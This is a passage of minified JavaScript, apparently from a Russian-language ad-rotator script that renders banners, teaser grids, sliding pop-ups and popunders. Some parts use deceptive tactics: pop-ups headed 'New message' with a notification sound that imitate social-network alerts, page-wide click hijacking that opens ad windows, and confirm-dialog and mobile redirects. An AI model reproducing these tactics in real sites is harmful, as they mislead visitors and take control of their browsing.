  1420.             e.style.width = b.width + "px";
  1421.             e.style.height = b.height + "px";
  1422.             e.className += "br-cntnr";
  1423.             !this.J && b.stubSrc && (e.style.background = "url(" + x.a.imgDomain + b.stubSrc + ") no-repeat 50% 50%");
  1424.             if (b.iframeUrl) a.appendChild(e), this.Ia(b.iframeUrl, encodeURIComponent(b.trackingDomain + d.e(b.clickUri)), e, b.width, b.height);
  1425.             else if (d.Ka(b.src, ".swf")) {
  1426.                 a.appendChild(e);
  1427.                 var f = j.createElement("div");
  1428.                 f.id = "swf" + (new String(Math.random())).slice(2);
  1429.                 e.appendChild(f);
  1430.                 this.I(b.src, f.id, encodeURIComponent(b.trackingDomain + d.e(b.clickUri)), f.id, b.width, b.height)
  1431.             } else -1 == b.src.indexOf("http://") ? (a.appendChild(e), e.style.background = "url(" + x.a.imgDomain + b.src + ") no-repeat 50% 50%") : (c = d.U("data:text/html;charset\x3dutf-8," + encodeURI('\x3cbody style\x3d"margin:0; padding:0"\x3e\x3cimg style\x3d"width: 100%; height: 100%;" src\x3d"' + b.src + '"/\x3e\x3c/body\x3e'), a), c.style.cssText =
  1432.                 "width:" + b.width + "px;height:" + b.height + "px;border:none;", c.scrolling = "no", c = j.createElement("a"), a.appendChild(c), c.style.cssText = "text-decoration:none;display:block;position:absolute;left:0;top:0; width:100%;height:100%;z-index:9999", c.target = "_blank");
  1433.             return c
  1434.         }
  1435.     };
  1436.     D(va, G);
  1437.     va.prototype.m = function (a) {
  1438.         var b = this;
  1439.         b.s(a);
  1440.         var c = d.r("div");
  1441.         b.f = c;
  1442.         b.K(c, a);
  1443.         b.G(c, a, "bottom", "right");
  1444.         b.H(c, a);
  1445.         var e = b.W(a.width, a.height),
  1446.             f = "z-index:9999;position:fixed;top:50%;left:50%;margin-top:-" + a.height / 2 + "px;margin-left:-" +
  1447.             a.width / 2 + "px;width: " + a.width + "px;height: " + a.height + "px;";
  1448.         d.u() || (f = f.replace("fixed", "absolute"), b.b(v, "scroll", function () {
  1449.             c.style.top = d.o() + e.top + "px"
  1450.         }), b.b(v, "resize", function () {
  1451.             var e = b.W(a.width, a.height);
  1452.             c.style.top = d.o() + e.top + "px"
  1453.         }));
  1454.         c.style.cssText = f;
  1455.         this.Y(a, c, c)
  1456.     };
  1457.     va.prototype.W = function (a, b) {
  1458.         return {
  1459.             left: (d.ra() - a) / 2,
  1460.             top: (d.k() - b) / 2
  1461.         }
  1462.     };
  1463.     D(Ra, G);
  1464.     Ra.prototype.m = function (a) {
  1465.         function b() {
  1466.             var b = setInterval(function () {
  1467.                 h < parseInt(a.height, 10) + e ? (h += 10, s.style.top = h + "px") : (clearInterval(b), setTimeout(c,
  1468.                     1E3))
  1469.             }, 10)
  1470.         }
  1471.  
  1472.         function c() {
  1473.             var a = setInterval(function () {
  1474.                 0 < h ? (h -= 10, s.style.top = h + "px") : (clearInterval(a), setTimeout(b, f))
  1475.             }, 20)
  1476.         }
  1477.         var e = a.showLogo ? 24 : 18,
  1478.             f = 15E3,
  1479.             h = a.height,
  1480.             p = 0,
  1481.             g = 6 == a.bannerPosition ? "left" : "right";
  1482.         this.s(a);
  1483.         var k = d.r("div");
  1484.         this.f = k;
  1485.         var s = j.createElement("div");
  1486.         k.appendChild(s);
  1487.         this.K(s, a);
  1488.         this.G(s, a, "top", "left");
  1489.         this.H(s, a);
  1490.         g = "z-index:9999;padding:" + e + "px 9px 0 0;overflow:hidden;position:fixed;bottom:0;" + g + ": 0px;width: " + a.width + "px;height: " + a.height + "px;";
  1491.         v && !d.u() && (g = g.replace("fixed",
  1492.             "absolute"), g += "bottom:auto;top:" + (d.k() - a.height - e) + "px;", this.b(v, "scroll", function () {
  1493.             k.style.top = d.o() + d.k() - a.height + "px"
  1494.         }), this.b(v, "resize", function () {
  1495.             k.style.top = d.o() + d.k() - a.height - e + "px"
  1496.         }));
  1497.         k.style.cssText = g;
  1498.         s.style.cssText = "position:relative;top: " + a.height + "px;";
  1499.         this.Y(a, s, k, a.showLogo ? -20 : -12);
  1500.         a.animate ? setTimeout(function () {
  1501.             var b = setInterval(function () {
  1502.                 Math.abs(parseInt(banner.style.top, 10)) > a.height ? s.style.top = (p += 20) + "px" : clearInterval(b)
  1503.             }, 20)
  1504.         }, 1E3) : c()
  1505.     };
  1506.     D(Sa, G);
  1507.     Sa.prototype.m = function (a) {
  1508.         this.s(a);
  1509.         var b = d.r("div");
  1510.         this.f = b;
  1511.         this.K(b, a);
  1512.         this.G(b, a, "bottom", "right");
  1513.         this.H(b, a);
  1514.         var c = "z-index:9999;position:fixed;top:0px;left: 50%;width: " + a.width + "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
  1515.         d.u() || (c = c.replace("fixed", "absolute"), this.b(v, "scroll", function () {
  1516.             b.style.top = d.o() + "px"
  1517.         }));
  1518.         b.style.cssText = c;
  1519.         this.Y(a, b, b, 3)
  1520.     };
  1521.     D(Ta, G);
  1522.     Ta.prototype.m = function (a) {
  1523.         this.s(a);
  1524.         var b = d.r("div");
  1525.         this.f = b;
  1526.         this.K(b, a);
  1527.         this.G(b, a, "top", "left");
  1528.         this.H(b, a);
  1529.         var c = "z-index:9999;position:fixed;left: 50%;bottom:0; width: " +
  1530.             a.width + "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
  1531.         d.u() ? this.b(v, "resize", function () {
  1532.             b.style.top = d.k() - a.height + "px"
  1533.         }) : (c = c.replace("fixed", "absolute"), c += "bottom:auto;top:" + (d.k() - a.height) + "px;", this.b(v, "scroll", function () {
  1534.             b.style.top = d.o() + d.k() - a.height + "px"
  1535.         }), this.b(v, "resize", function () {
  1536.             b.style.top = d.o() + d.k() - a.height + "px"
  1537.         }));
  1538.         b.style.cssText = c;
  1539.         this.Y(a, b, b, a.showLogo ? -20 : -12)
  1540.     };
  1541.     D(ba, G);
  1542.     ba.prototype.m = function (a) {
  1543.         function b() {
  1544.             if (!c && (d.ga > k.za || 0 < d.ha) && 1E3 <= (new Date).getTime() -
  1545.                 e) {
  1546.                 c = !0;
  1547.                 var b = function (a) {
  1548.                         u = setInterval(function () {
  1549.                             if (g[a] && p[a] < h * m) p[a] += 5, g[a].style.top = p[a] + "px";
  1550.                             else {
  1551.                                 clearInterval(u);
  1552.                                 var c = a + 1;
  1553.                                 if (c < g.length) setTimeout(function () {
  1554.                                     b(c)
  1555.                                 }, g[a] ? 4E3 : 0);
  1556.                                 else {
  1557.                                     for (var d = 0; d < g.length; d++) g[d] && (g[d].style.top = h * g.length + 10);
  1558.                                     setTimeout(function () {
  1559.                                         k.ea(c, g[0] && "true" == g[0].getAttribute("mute"));
  1560.                                         f(0)
  1561.                                     }, g[a] ? 1E4 : 0)
  1562.                                 }
  1563.                             }
  1564.                         }, 10)
  1565.                     },
  1566.                     f = function (a) {
  1567.                         u = setInterval(function () {
  1568.                             if (g[a] && p[a] > h * (m - 1))
  1569.                                 for (var c = a; 0 <= c; c--) g[c] && (p[c] -= 5, g[c].style.top = p[c] + "px");
  1570.                             else {
  1571.                                 clearInterval(u);
  1572.                                 var d =
  1573.                                     a + 1;
  1574.                                 d < g.length ? setTimeout(function () {
  1575.                                     k.ea(d, g[d] && "true" == g[d].getAttribute("mute"));
  1576.                                     f(d)
  1577.                                 }, g[a] ? 4E3 : 0) : setTimeout(function () {
  1578.                                     b(0)
  1579.                                 }, g[a] ? 8E3 : 0)
  1580.                             }
  1581.                         }, 20)
  1582.                     },
  1583.                     m = 0,
  1584.                     n = function () {
  1585.                         for (var a = m = 0; a < g.length; a++) null != g[a] && m++
  1586.                     },
  1587.                     x = function (b, c, e) {
  1588.                         k.f.removeChild(g[c]);
  1589.                         k.D(b);
  1590.                         g[c] = null;
  1591.                         n();
  1592.                         e && k.va(a);
  1593.                         b = !1;
  1594.                         for (e = c; e < g.length; e++) g[e] && (!b && p[e] >= h * g.length) && (b = !0, p[e] = p[c], g[e].style.top = p[e] + "px");
  1595.                         if (!b) {
  1596.                             var f = h;
  1597.                             k.f.style.overflow = "visible";
  1598.                             var j = setInterval(function () {
  1599.                                 if (0 < f) {
  1600.                                     f -= 5;
  1601.                                     for (var a = c; 0 <= a; a--) g[a] && (p[a] +=
  1602.                                         5, g[a].style.top = p[a] + "px")
  1603.                                 } else k.f.style.overflow = "hidden", clearInterval(j)
  1604.                             }, 10)
  1605.                         }
  1606.                         k.f.style.height = h * m + "px";
  1607.                         d.u() || (k.f.style.top = d.o() + d.k() - h * m + "px");
  1608.                         for (e = 0; e < g.length; e++) g[e] && (p[e] -= h, g[e].style.top = p[e] + "px")
  1609.                     };
  1610.                 k.f = d.r("div");
  1611.                 var q = a.trackingDomain + d.e(a.clickUri.replace("/?", "")),
  1612.                     u;
  1613.                 k.H(k.f, a);
  1614.                 for (var B = 0; B < s.length; B++) {
  1615.                     p.push(h * s.length);
  1616.                     var J = j.createElement("div");
  1617.                     J.id = "vid-" + B;
  1618.                     J.className = "vmcontainer";
  1619.                     var y = j.createElement("div");
  1620.                     J.setAttribute("mute", a.mute);
  1621.                     J.onmouseover = function () {
  1622.                         this.className +=
  1623.                             " hover"
  1624.                     };
  1625.                     J.onmouseout = function () {
  1626.                         this.className = this.className.replace(" hover", "")
  1627.                     };
  1628.                     var w = j.createElement("div");
  1629.                     w.style.cssText = "position:relative;";
  1630.                     w.innerHTML = "\x3cspan\x3e" + s[B].header + "\x3c/span\x3e";
  1631.                     var ia = j.createElement("a");
  1632.                     ia.id = "vclose-" + B;
  1633.                     var S = j.createElement("a");
  1634.                     ia.className = "vclose";
  1635.                     w.appendChild(ia);
  1636.                     ia.appendChild(S);
  1637.                     y.appendChild(w);
  1638.                     S = j.createElement("div");
  1639.                     S.style.cssText = "float:left;margin:0 10px 0 10px;border-radius:3px;overflow:hidden;box-shadow:0 1px 2px rgb(17, 17, 17);";
  1640.                     y.appendChild(S);
  1641.                     d.na() || (y.style.cssText = "padding:5px 15px;");
  1642.                     var C = j.createElement("div"),
  1643.                         A = j.createElement("style"),
  1644.                         D = j.getElementsByTagName("head")[0];
  1645.                     A.type = "text/css";
  1646.                     A.styleSheet ? A.styleSheet.cssText = z : A.appendChild(j.createTextNode(z));
  1647.                     D.appendChild(A);
  1648.                     C.innerHTML = '\x3cspan class\x3d"text-link"\x3e\x3ca href\x3d"#" \x3e' + s[B].title + "\x3c/a\x3e\x3c/span\x3e" + s[B].description;
  1649.                     y.appendChild(C);
  1650.                     S = k.K(S, a);
  1651.                     k.f.appendChild(J);
  1652.                     J.appendChild(y);
  1653.                     g.push(J);
  1654.                     ia.onclick = function (a) {
  1655.                         var b = parseInt(this.id.replace("vclose-",
  1656.                             ""));
  1657.                         x(a, b, !0)
  1658.                     };
  1659.                     S && (S.onclick = function (a) {
  1660.                         k.D(a);
  1661.                         var b = parseInt(d.Ra("vmcontainer", this).id.replace("vid-", ""));
  1662.                         x(a, b, !1);
  1663.                         v.open(q)
  1664.                     });
  1665.                     J.onclick = function (a) {
  1666.                         k.D(a);
  1667.                         var b = parseInt(this.id.replace("vid-", ""));
  1668.                         x(a, b, !1);
  1669.                         v.open(q)
  1670.                     };
  1671.                     w.style.cssText = "position:relative;font-size:13px;height:19px;line-height:19px;color:white;padding:10px 10px 3px;font-weight:bold;";
  1672.                     J.style.cssText = r
  1673.                 }
  1674.                 n();
  1675.                 B = "z-index:9999;overflow:hidden;font-family: tahoma,arial,verdana,sans-serif,Lucida Sans;font-size: 11px; position:fixed;bottom:0;left: 10px;width:345px;height:" +
  1676.                     h * g.length + "px;";
  1677.                 d.u() || (B = B.replace("fixed", "absolute"), B += "bottom:auto;top:" + (d.k() - h * g.length) + "px;", k.b(v, "scroll", function () {
  1678.                     k.f.style.top = d.o() + d.k() - m * h + "px"
  1679.                 }), k.b(v, "resize", function () {
  1680.                     k.f.style.top = d.o() + d.k() - m * h + "px"
  1681.                 }));
  1682.                 k.f.style.cssText = B;
  1683.                 d.u() || (k.f.style.top = d.o() + d.k() - m * h + "px");
  1684.                 setTimeout(function () {
  1685.                     0 < g.length && (k.ea(0, g[0] && "true" == g[0].getAttribute("mute")), f(0))
  1686.                 }, 3E3)
  1687.             }
  1688.         }
  1689.         var c = !1,
  1690.             e = (new Date).getTime(),
  1691.             f = "vm" + (new Date).getTime(),
  1692.             h = d.na() ? 105 : 125,
  1693.             p = [],
  1694.             g = [],
  1695.             k = this,
  1696.             s = k.Ma(a, f);
  1697.         k.s(a);
  1698.         var z = '.vclose {width: 23px; height: 23px; display: block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0);-moz-opacity: 0;-khtml-opacity:0;opacity:0;position:absolute; right:10px; top:10px; background: url("' + x.a.scriptsDomain + 'img/notifier_close_ie.png") no-repeat scroll 0 0;} .vclose a {z-index:10000;display:none; width:7px; height:7px;margin:8px; background:url(' + x.a.scriptsDomain + "/img/notifier_close.gif)}.vclose:hover a{z-index:10000;display:block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;}.vmcontainer:hover .vclose:hover{z-index:10000;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d100);-moz-opacity:1;-khtml-opacity:1;opacity:1;}.vmcontainer:hover .vclose, .vmcontainer.hover .vclose{z-index:10000;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;} .text-link {padding-right:10px;} .text-link a {color:rgb(177, 218, 255);font-weight:bold;text-decoration:none;}.text-link a:hover {text-decoration:underline;}",
  1699.             f = 'height:130px;width:350px; background: url("' + x.a.scriptsDomain + 'img/notifier_back.png") center center no-repeat; ',
  1700.             r = "left:0;color:white;margin:0 0 10px 0;" + (d.na() ? "height:95px;width:320px;border-radius: 5px 5px 5px 5px;box-shadow: 0pt 2px 15px rgb(0, 0, 0);text-shadow: 0px 1px 0px rgb(38, 38, 38);background:rgba(0,0,0,0.75);" : f) + "position:absolute;top: " + (h * s.length + 10) + "px;";
  1701.         this.b(j, "mousemove", function () {
  1702.             b()
  1703.         }, !1);
  1704.         this.b(j, "scroll", function () {
  1705.             b()
  1706.         }, !1)
  1707.     };
  1708.     ba.prototype.R = null;
  1709.     ba.prototype.Ma = function (a,
  1710.         b) {
  1711.         var c = [],
  1712.             e = a.title.split("{splitter}"),
  1713.             f = a.description.split("{splitter}");
  1714.         a.windowHeader || (a.windowHeader = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");
  1715.         for (var h = a.windowHeader.split("{splitter}"), j = Math.max(h.length, Math.max(e.length, f.length)), g = 0; g < j; g++) {
  1716.             var k = {};
  1717.             k.title = this.z(g < e.length ? e[g] : e[0]);
  1718.             k.description = this.z(g < f.length ? f[g] : f[0]);
  1719.             k.header = this.z(g < h.length ? h[g] : h[0]);
  1720.             "" == k.header && (k.header = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");
  1721.             k.wrapperId = b;
  1722.             k.id = b + g + 1;
  1723.             k.index = g;
  1724.             c.push(k)
  1725.         }
  1726.         d.log(c);
  1727.         return c
  1728.     };
  1729.     ba.prototype.ea = function (a, b) {
  1730.         if (!1 == b)
  1731.             if (d.O()) {
  1732.                 var c = j.createElement("bgsound");
  1733.                 c.src = x.a.scriptsDomain + "img/bb2.mp3";
  1734.                 c.loop = "1";
  1735.                 j.body.appendChild(c)
  1736.             } else this.R && (c = j.getElementById(this.R)) && this.f && this.f.removeChild(c), c = j.createElement("div"), this.R = "vkmsound" + a, c.id = this.R, this.f.appendChild(c), d.p.I(x.a.scriptsDomain + "img/mp3player.swf?file\x3d" + x.a.scriptsDomain + "img/bb2.mp3\x26startplay\x3dtrue", this.R, "1", "1", "10.0.0", null,
  1737.                 null, this.S)
  1738.     };
  1739.     D(Ua, G);
  1740.     Ua.prototype.m = function (a) {
  1741.         this.s(a);
  1742.         var b = {
  1743.                 limit: a.limit,
  1744.                 period: a.period,
  1745.                 limitName: "__trflimit",
  1746.                 periodName: "__trfmon"
  1747.             },
  1748.             c = !1;
  1749.         if (d.da(b)) {
  1750.             var e = this,
  1751.                 f = navigator.userAgent.toLowerCase(),
  1752.                 h = 2 == a.openMethod ? d.fb : d.$;
  1753.             this.b(j, -1 < f.indexOf("iphone") || -1 < f.indexOf("ipad") ? "touchstart" : "click", function () {
  1754.                 d.da(b) && !c && (c = !0, d.log(a.trackingDomain + d.e(a.clickUri + e.t())), h.call(e, a.trackingDomain + d.e(a.clickUri + e.t()), !0, "_blank", ""), d.Ba(b))
  1755.             });
  1756.             this.H(j.body, a)
  1757.         }
  1758.     };
  1759.     D(wa, G);
  1760.     wa.prototype.m =
  1761.         function (a) {
  1762.             var b = {
  1763.                 limit: a.limit,
  1764.                 period: a.period,
  1765.                 limitName: "__trfpoplimit",
  1766.                 periodName: "__trfmonpop"
  1767.             };
  1768.             this.s(a);
  1769.             if (d.da(b)) {
  1770.                 var c = d.r("div"),
  1771.                     e = j.createElement("div");
  1772.                 c.appendChild(e);
  1773.                 this.K(e, a);
  1774.                 var f = this;
  1775.                 f.f = c;
  1776.                 e.onclick = function (e) {
  1777.                     d.$(a.trackingDomain + d.e(a.clickUri + f.t()), !0, "_blank", "");
  1778.                     d.Ba(b);
  1779.                     f.D(e);
  1780.                     f.la(c)
  1781.                 };
  1782.                 this.G(c, a, "bottom", "right");
  1783.                 this.H(c, a);
  1784.                 var h = this.W(a.width, a.height),
  1785.                     e = "z-index:9999;cursor:pointer;position:fixed;top: " + h.top + "px;left: " + h.left + "px;width: " + a.width + "px;height: " +
  1786.                     a.height + "px;";
  1787.                 d.u() || (e = e.replace("fixed", "absolute"), this.b(v, "scroll", function () {
  1788.                     c.style.top = d.o() + h.top + "px"
  1789.                 }));
  1790.                 c.style.cssText = e;
  1791.                 e = j.createElement("span");
  1792.                 e.style.cssText = this.fa.replace("${offsetTop}", "-20");
  1793.                 f = this;
  1794.                 e.onclick = function (b) {
  1795.                     f.D(b);
  1796.                     d.$.call(f, a.trackingDomain + d.e(a.closeUri), !0, "_blank", "");
  1797.                     f.close(a, c)
  1798.                 };
  1799.                 c.appendChild(e)
  1800.             }
  1801.         };
  1802.     wa.prototype.W = function (a, b) {
  1803.         return {
  1804.             left: (d.ra() - a) / 2,
  1805.             top: (d.k() - b) / 2
  1806.         }
  1807.     };
  1808.     D(Va, G);
  1809.     Va.prototype.m = function (a) {
  1810.         this.s(a);
  1811.         confirm(a.bannerText) && (v.location = a.trackingDomain +
  1812.             d.e(a.clickUri))
  1813.     };
  1814.     D(Wa, G);
  1815.     Wa.prototype.m = function (a) {
  1816.         v.globalInfo.mredRendered || (v.globalInfo.mredRendered = !0, d.log("Rendering m redir"), d.aa(a.trackingDomain, a.clickUri))
  1817.     };
  1818.     D(ea, G);
  1819.     ea.prototype.n = "";
  1820.     ea.prototype.m = function (a) {
  1821.         function b(a, b) {
  1822.             a.style.cssText = k.q[b];
  1823.             e.b(a, "mouseover", function () {
  1824.                 a.style.cssText = k.A[b]
  1825.             }, !1);
  1826.             e.b(a, "mouseout", function () {
  1827.                 a.style.cssText = k.q[b]
  1828.             }, !1)
  1829.         }
  1830.  
  1831.         function c(a, b) {
  1832.             e.b(a, "mouseover", function () {
  1833.                 b.style.cssText = k.A.sPText
  1834.             }, !0);
  1835.             e.b(a, "mouseout", function () {
  1836.                 b.style.cssText = k.q.sPText
  1837.             }, !0)
  1838.         }
  1839.         this.s(a);
  1840.         var e = this,
  1841.             f = j.createElement("table"),
  1842.             h = j.createElement("tbody"),
  1843.             p = j.createDocumentFragment(),
  1844.             g = j.createElement("img"),
  1845.             k = this,
  1846.             s = void 0,
  1847.             z;
  1848.         if (!s) switch (s = {}, s.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), z = s.size + parseInt(a.imgMarginSize, 10), a.orientation) {
  1849.         case "over":
  1850.             s.margin = "0";
  1851.             s.B = "0 0 " + a.imgMarginSize + "px";
  1852.             s.i = "none";
  1853.             s.v = "center";
  1854.             s.w = {
  1855.                 top: -(a.bannerSizeOnmouseover - a.bannerSize),
  1856.                 left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2
  1857.             };
  1858.             break;
  1859.         case "left":
  1860.             s.margin = "0 0 0 " +
  1861.                 z + "px";
  1862.             s.B = "0 -" + z + "px 0 0";
  1863.             s.i = "left";
  1864.             s.v = "left";
  1865.             s.w = {
  1866.                 top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2,
  1867.                 left: -(a.bannerSizeOnmouseover - a.bannerSize)
  1868.             };
  1869.             break;
  1870.         case "right":
  1871.             s.margin = "0 " + z + "px 0 0", s.B = "0 0 0 -" + z + "px", s.i = "right", s.v = "left", s.w = {
  1872.                 top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2,
  1873.                 left: 0
  1874.             }
  1875.         }
  1876.         z = s;
  1877.         var r = d.O() ? "display:inline;zoom:1;" : "display:inline-block;",
  1878.             t = j.getElementById("wzblock" + a.blockId),
  1879.             l = parseInt(a.textSize, 10),
  1880.             m = l + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)),
  1881.             n = l + (parseInt(a.textMouseOnTeaserSize,
  1882.                 10) - parseInt(a.textSize, 10));
  1883.         this.g = parseInt(a.textDivHeight, 10);
  1884.         k.q = {
  1885.             table: "table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";",
  1886.             td: "vertical-align:top;background:" + a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + z.v + ";width:" + a.width / a.horizCount + a.widthUnit +
  1887.                 ";",
  1888.             div: "z-index:1;margin:" + z.B + ";display:inline-block;position:relative;" + r + ";height:" + z.size + "px;width:" + z.size + "px;float:" + z.i + ";",
  1889.             img: "overflow:hidden;z-index:1;position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";",
  1890.             text: "margin:" + z.margin + ";cursor:pointer;float:" + z.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" +
  1891.                 ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + l + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";",
  1892.             sPText: "margin:" + z.margin + ";cursor:pointer;float:" + z.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + l + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";"
  1893.         };
  1894.         k.A = {
  1895.             table: "table-layout:fixed;background:" + a.backgroundOnmouseover +
  1896.                 ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";",
  1897.             td: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + z.v + ";width:" + a.width / a.horizCount + a.widthUnit + ";",
  1898.             div: "z-index:5;margin:" + z.B + ";display:inline-block;position:relative;" + r + ";height:" + z.size + "px;width:" +
  1899.                 z.size + "px;float:" + z.i + ";",
  1900.             img: "overflow:hidden;z-index:10;cursor:pointer;position:absolute;top:" + s.w.top + "px;left:" + s.w.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";",
  1901.             text: "margin:" + z.margin + ";cursor:pointer;float:" + z.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ?
  1902.                 "700" : "100") + ";font-size:" + m + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor + ";",
  1903.             sPText: "margin:" + z.margin + ";cursor:pointer;float:" + z.i + ";height:" + (0 != this.g ? this.g + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + n + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor +
  1904.                 ";"
  1905.         };
  1906.         this.Na = function () {
  1907.             0 == this.g && (this.g = "over" == a.orientation ? 35 : a.bannerSize)
  1908.         };
  1909.         if (!t) {
  1910.             t = j.getElementsByTagName("script");
  1911.             r = RegExp("bid\x3d(" + a.blockId + ")(\\D|.{0}$)");
  1912.             s = 0;
  1913.             for (l = t.length; s < l; s += 1)
  1914.                 if (-1 != t[s].src.indexOf(x.a.rotatorDomain) && r.test(d.F(t[s].src)) || -1 != t[s].text.indexOf(x.a.rotatorDomain) && -1 != t[s].text.indexOf(x.a.trsKey)) {
  1915.                     r = j.createElement("div");
  1916.                     r.id = "wzblock" + a.blockId;
  1917.                     t[s].parentNode.insertBefore(r, t[s].nextSibling);
  1918.                     break
  1919.                 }
  1920.         }
  1921.         t = j.getElementById("wzblock" + a.blockId);
  1922.         t.style.display =
  1923.             "block";
  1924.         t.className += "br-cntnr";
  1925.         v.globalInfo.arrBlocks = [];
  1926.         this.data = a;
  1927.         p.appendChild(f);
  1928.         b(f, "table");
  1929.         for (s = r = 0; s < a.vertCount; s += 1) {
  1930.             l = j.createElement("tr");
  1931.             for (m = 0; m < a.horizCount; m += 1) {
  1932.                 var n = a.teasers[r],
  1933.                     u = n.iframeUrl ? !0 : !1,
  1934.                     q = {
  1935.                         td: j.createElement("td"),
  1936.                         img: j.createElement("img"),
  1937.                         text: j.createElement("span"),
  1938.                         div: j.createElement("span")
  1939.                     },
  1940.                     y = j.createElement("span"),
  1941.                     B = j.createElement("a");
  1942.                 r++;
  1943.                 for (var w in q) b(q[w], w), "td" == w && c(q[w], q.text);
  1944.                 var A = n.trackingDomain;
  1945.                 y.innerHTML = this.z(n.title);
  1946.                 q.text.className =
  1947.                     "wzTextSpan";
  1948.                 q.text.appendChild(y);
  1949.                 v.globalInfo.arrBlocks.push(q.text);
  1950.                 u ? (u = j.createElement("div"), d.U(n.iframeUrl + (0 < n.iframeUrl.indexOf("?") ? "\x26" : "?") + "frmSize\x3d" + z.size, u), q.div.appendChild(u), n.useOwnClick || (y = j.createElement("a"), u.appendChild(y), y.style.cssText = "text-decoration:none;display:block;position:absolute;left:0;top:0; width:100%;height:100%;z-index:2", y.target = "_blank", y.href = n.trackingDomain + d.e(n.clickUri), y.onclick = function () {
  1951.                         v.open(A + d.e(this.getAttribute("clickUri") + e.t()))
  1952.                     }),
  1953.                     b(u, "img")) : (q.img.src = x.a.imgDomain + n.src, q.img.title = this.z(n.title), q.img.alt = this.z(n.title), q.img.setAttribute("clickUri", n.clickUri), d.O() && (q.img.onclick = function () {
  1954.                     v.open(A + d.e(this.getAttribute("clickUri") + e.t()))
  1955.                 }), q.div.appendChild(q.img));
  1956.                 B.target = "_blank";
  1957.                 B.href = n.trackingDomain + d.e(n.clickUri);
  1958.                 B.style.cssText = "text-decoration:none;display:block;";
  1959.                 B.setAttribute("clickUri", n.clickUri);
  1960.                 B.onclick = function () {
  1961.                     this.href = A + d.e(this.getAttribute("clickUri") + e.t())
  1962.                 };
  1963.                 B.appendChild(q.div);
  1964.                 B.appendChild(q.text);
  1965.                 q.td.appendChild(B);
  1966.                 l.appendChild(q.td)
  1967.             }
  1968.             h.appendChild(l);
  1969.             f.appendChild(h)
  1970.         }
  1971.         g.src = a.teasers[0].impDomain + d.e(a.trackShowUri);
  1972.         g.style.cssText = "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;";
  1973.         p.appendChild(g);
  1974.         t.appendChild(p);
  1975.         if ("px" != this.n.widthUnit) {
  1976.             var C = f.offsetWidth;
  1977.             v.onresize = function () {
  1978.                 10 < Math.abs(C - f.offsetWidth) && (C = f.offsetWidth)
  1979.             }
  1980.         }
  1981.     };
  1982.     D(fa, ea);
  1983.     fa.prototype.m = function (a) {
  1984.         function b() {
  1985.             var a = v.scrollY || k.scrollTop || j.body.scrollTop;
  1986.             s <= a && !n ? (clearInterval(r), r = void 0, h.style.display =
  1987.                 "block", n = setInterval(function () {
  1988.                     0 > parseInt(g.style[t], 10) ? g.style[t] = parseInt(g.style[t], 10) + 20 + "px" : (g.style[t] = "0px", clearInterval(n), n = void 0)
  1989.                 }, 20)) : s > a && !r && c()
  1990.         }
  1991.  
  1992.         function c(b) {
  1993.             clearInterval(n);
  1994.             n = void 0;
  1995.             r = setInterval(function () {
  1996.                 parseInt(g.style[t], 10) > 0 - e.width ? g.style[t] = parseInt(g.style[t], 10) - 20 + "px" : (g.style[t] = 0 - e.width + "px", clearInterval(r), r = void 0, b ? e.close(a, h) : h.style.display = "none")
  1997.             }, 20)
  1998.         }
  1999.         this.s(a);
  2000.         var e = this,
  2001.             f = "wzScroller" + (new Date).getTime(),
  2002.             h = j.createElement("div"),
  2003.             p = j.createElement("div"),
  2004.             g = j.createElement("div"),
